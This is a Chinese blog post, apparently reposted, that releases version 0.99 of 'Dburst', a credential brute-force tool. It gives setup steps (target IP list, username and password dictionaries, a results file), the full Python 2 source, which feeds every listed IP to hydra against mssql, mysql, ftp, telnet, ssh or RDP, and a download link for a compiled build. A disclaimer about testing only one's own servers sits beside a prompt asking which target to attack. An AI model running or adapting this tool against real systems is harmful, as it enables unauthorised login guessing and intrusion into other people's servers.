浪子燕青Dburst0.99版本发布+源码分析

来源:互联网 发布:c语言中的单词计数 编辑:程序博客网 时间:2024/04/27 12:55

运行效果如图所示


如何使用?

1.配置好相关账号字典

2.双击 浪子燕青Dburst.exe 主程序

==================================================

如何配置扫描验证的ip段,字典?

1. ip段写在同目录下的nice.txt ,请注意格式以及IP的准确率,避免系统资源浪费

2. 字典账号密码在目录下

  user.txt 账号

  pass.txt 密码

===================================================

如何查看成功结果?

1.查看同目录下success.txt即可

==========================================================

 

0.99版本相对以前更加人性化

1.不用设置相关文件夹

2.配置字典,成功爆破保存在同一目录下

3.除了3389之外还能爆破以下新增5项,可以自己选择爆破相关服务

  ftp ssh telnet mssql mysql rdp(3389远程连接)

4.可以自己定义爆破时间了,相对以前默认爆破时间相比简直感动的要哭


  虽然还是有一些事情没做啊,比如初始界面优化,稳定优化,多线程,异常处理等等,但是我觉得现在0.99这个版本够实用了.....而且我暂时也不想再更新了,就这样吧~如果您也爱好网络安全欢迎访问bbs.iosmosis.org 共同学习交流,在论坛中,我们将为您免费提供最新最安全最全面的工具包

 

  by:浪子燕青

 2017年1月17日09:53:55


贴上源码:


# -*- coding:utf-8 -*-
import os
import time
import Queue
q = Queue.Queue()
io1 = os.getcwd()
print unicode('''


作者:浪子燕青


作者QQ:982722261


隶属团队:Iosmosis


使用说明:
  调用hydra来检验自己的服务器群是否存在弱口令,若发现需及时修改密码
  本程序只授权开发者自己持有使用,其他任何人都无权使用
  如果由于开发者无意泄露或者您无意获得此程序,请立即删除此程序!
  本程序只能合法的用来检测和保护自己的服务器是否有安全隐患
  版权归作者所有
''','utf-8')
time.sleep(3)
#  mssql mysql  ftp  telnet  ssh  rdp
print unicode('请指定爆破目标 mssql mysql  ftp  telnet  ssh  rdp 中的一个','utf-8')
zhaohan1 = raw_input('You Want to Attack target is:')
if zhaohan1 == 'mssql':
    zhaohan2 = 'mssql'
elif zhaohan1 == 'mysql':
    zhaohan2 = 'mysql'
elif zhaohan1 == 'ftp':
    zhaohan2 = 'ftp'
elif zhaohan1 == 'telnet':
    zhaohan2 = 'telnet'
elif zhaohan1 == 'ssh':
    zhaohan2 = 'ssh'
elif zhaohan1 == 'rdp':
    zhaohan2 = 'rdp'
else:
    print unicode('傻狍,你只能选择爆破目标为 mssql mysql  ftp  telnet  ssh  rdp 中的一个','utf-8')
    print unicode('傻狍,你只能选择爆破目标为 mssql mysql  ftp  telnet  ssh  rdp 中的一个','utf-8')
    print unicode('傻狍,你只能选择爆破目标为 mssql mysql  ftp  telnet  ssh  rdp 中的一个','utf-8')
    print unicode('傻狍,你只能选择爆破目标为 mssql mysql  ftp  telnet  ssh  rdp 中的一个','utf-8')
    print unicode('傻狍,你只能选择爆破目标为 mssql mysql  ftp  telnet  ssh  rdp 中的一个','utf-8')
    print unicode('傻狍,你只能选择爆破目标为 mssql mysql  ftp  telnet  ssh  rdp 中的一个','utf-8')
    print unicode('傻狍,你只能选择爆破目标为 mssql mysql  ftp  telnet  ssh  rdp 中的一个','utf-8')
    print unicode('傻狍,你只能选择爆破目标为 mssql mysql  ftp  telnet  ssh  rdp 中的一个','utf-8')
    print unicode('傻狍,你只能选择爆破目标为 mssql mysql  ftp  telnet  ssh  rdp 中的一个','utf-8')
    print unicode('傻狍,你只能选择爆破目标为 mssql mysql  ftp  telnet  ssh  rdp 中的一个','utf-8')
    print unicode('傻狍,你只能选择爆破目标为 mssql mysql  ftp  telnet  ssh  rdp 中的一个','utf-8')
    print unicode('傻狍,你只能选择爆破目标为 mssql mysql  ftp  telnet  ssh  rdp 中的一个','utf-8')
    print unicode('傻狍,你只能选择爆破目标为 mssql mysql  ftp  telnet  ssh  rdp 中的一个','utf-8')
    print unicode('傻狍,你只能选择爆破目标为 mssql mysql  ftp  telnet  ssh  rdp 中的一个','utf-8')
    time.sleep(3)
print unicode('请指定爆破时间,60=1分钟,建议设定时间为180','utf-8')
zhaohan3 = raw_input('Set time you wang to burst:')
zhaohan4 = int(zhaohan3)
print '============================================='
print unicode('已设定单个IP爆破时间为:' + zhaohan3 + '秒钟.','utf-8')
print '============================================='
print unicode('*********开始初始化*********'+'\n','utf-8')
time.sleep(2)
print unicode("开始载入ip....",'utf-8')
time.sleep(1)
f = open("nice.txt", "r")
print unicode("确认完毕,程序开始运行.....",'utf-8')
line = f.readlines()  
if line:  
    pass
#        print  line
else:  
    print 'ip error'
f.close()
def start():
    c = r"%s\hydra.exe -l user.txt -p pass.txt -v -o success.txt %s://%s"%(io1,zhaohan2,lines)
    q.put(c)
#    print c
    while not q.empty():
        saomiao = q.get()
#        print saomiao
    try:
            print unicode("获取系统当前时间节点",'utf-8')
            time.sleep(1)
            print time.strftime('%Y-%m-%d %H:%M:%S --%A--%c', time.localtime())
            print unicode("校正完毕,开始执行程序,尝试发送数据包!!",'utf-8')
            print 'waiting.......'
            time.sleep(2)
            p=os.popen(saomiao)
            print p.read()
            time.sleep(zhaohan4)
    except:
            print unicode("发现一个ip连接异常,程序开始处理异常",'utf-8')
            print '''
=====================================================================
=====================W A I T I N G===================================
=====================================================================
'''
            time.sleep(3)


for liness in line:
    lines = liness.strip('\n')
    print '============================================='
    print unicode("当前爆破任务ip地址为:",'utf-8') + lines
    print '============================================='
    start()




#for i in range(threading_num): 
#        t = threading.Thread(target=start)
#        t.start()



相对于之前呆板的rdp服务以及默认180s时间,用raw_input确定进行的服务~~同理time.sleep()一样的,都可以进行自行设置,感动~~



附上编译好的成品下载地址:http://pan.baidu.com/s/1bp7oL8F


0 0
原创粉丝点击